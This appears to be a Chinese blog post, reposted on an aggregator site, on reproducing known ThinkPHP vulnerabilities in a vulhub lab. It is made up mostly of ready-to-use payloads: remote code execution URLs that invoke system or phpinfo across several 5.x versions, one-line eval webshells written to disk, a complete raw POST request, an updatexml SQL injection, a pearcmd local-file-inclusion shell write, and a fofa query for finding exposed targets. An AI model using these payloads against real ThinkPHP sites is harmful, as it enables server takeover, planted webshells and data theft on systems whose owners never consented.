当前位置: 首页 > news >正文

thinkphp漏洞复现

thinkphp漏洞复现

    • ThinkPHP 2.x 任意代码执行漏洞
    • Thinkphp5 5.0.22/5.1.29 远程代码执行
    • ThinkPHP5 5.0.23 远程代码执行
    • ThinkPHP5 SQL Injection Vulnerability && Sensitive Information Disclosure Vulnerability
    • ThinkPHP Lang Local File Inclusion

ThinkPHP 2.x 任意代码执行漏洞

1、ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由,导致代码执行

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

2、抓包或者使用插件查看一下有没有php的版本号,上面有介绍过,那个命令执行的触发条件<=php5.6.29
在这里插入图片描述

3、漏洞利用
payload:

http://xx.xx.xx.xx:8080/index.php?s=/index/index/xxx/${@phpinfo()}
http://xx.xx.xx.xx:8080/index.php?s=/Index/index/xxx/${@print(eval($_POST[1]))}  可以直接菜刀连接

在这里插入图片描述

Thinkphp5 5.0.22/5.1.29 远程代码执行

参考
https://xz.aliyun.com/t/3570
https://www.cnblogs.com/miansj/p/14639276.html
在这里插入图片描述

1、payload

http://xx.xx.xx.xx:xx/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

在这里插入图片描述

2、大佬通杀payload

两个通杀payload版本号:5.0.8~5.0.19
payload:s=whoami&_method=__construct&filter&filter=system
​
版本号:5.0.20~5.0.23
payload:_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=whoami
​5.1.x php版本>5.5:http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
​
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
​
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>5.0.x php版本>=5.4:exp0 = '/index.php/?s=index/\\think\\template\driver\\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>'
​
exp1 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>'
​
exp2 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\'>zxc2.php'
​payhttp://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
​
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
​
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
​
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系统命令
​
http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
​
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
​
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
​
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=15.1.x php版本>5.5http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
​
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
​
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
​写shell:?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\'>zxc2.php'?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>

ThinkPHP5 5.0.23 远程代码执行

payload

POST /index.php?s=captcha HTTP/1.1
Host: xxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: en
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

ThinkPHP5 SQL Injection Vulnerability && Sensitive Information Disclosure Vulnerability

1、该漏洞形成最关键的一点是需要开启debug模式,而Tp官方最新的版本5.0.9默认依旧是开放着调试模式
2、SQL信息泄露

payload:?ids[0'\]=1

在这里插入图片描述

3、SQL注入漏洞

payload:?ids[0,updatexml(0,concat(0x7e,user(),0x7e),0)]=1

在这里插入图片描述

ThinkPHP Lang Local File Inclusion

https://www.freebuf.com/vuls/352360.html

fofa header="think_lang"
payload: /?lang=../../../../../public/index 回复500说明漏洞存在
写入shell /index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo();?>+shell.php

在这里插入图片描述
环境直接使用vulhub搭建

http://www.lryc.cn/news/218134.html

相关文章:

  • 暴力递归转动态规划(十三)
  • java EE 进阶
  • 记录paddlepaddle-gpu安装
  • django如何连接sqlite数据库?
  • 面试算法47:二叉树剪枝
  • 云安全-云原生k8s攻击点(8080,6443,10250未授权攻击点)
  • 性能压力测试主要目标及步骤
  • VLAN与配置
  • API接口安全设计
  • 服务器的管理口和业务口
  • 【gpt redis】原理篇
  • python二次开发Solidworks:排雷以及如何排雷?
  • 广告引擎检索技术快速学习
  • Scala的类和对象
  • SQL中 <>(不等于)运算符只会匹配那些具有非空值的记录
  • 冒泡排序(Java)
  • k8s集群调度
  • Scala中类的继承、抽象类和特质
  • 小程序如何实现登录数据持久化
  • Maven本地配置获取nexus私服的依赖
  • 第02章-变量与运算符
  • SpringBoot数据响应、分层解耦、三层架构
  • go测试库之apitest
  • K8S删除资源后一直处于Terminating状态无法删除解决方法
  • jvm实践
  • redis-plus-plus访问REDIS集群
  • python把Word题库转成Excle题库
  • 算法通关村第六关-白银挑战树
  • 【Java对象】一文读懂 Java 对象庐山真面目及指针压缩
  • leetcode做题笔记210. 课程表 II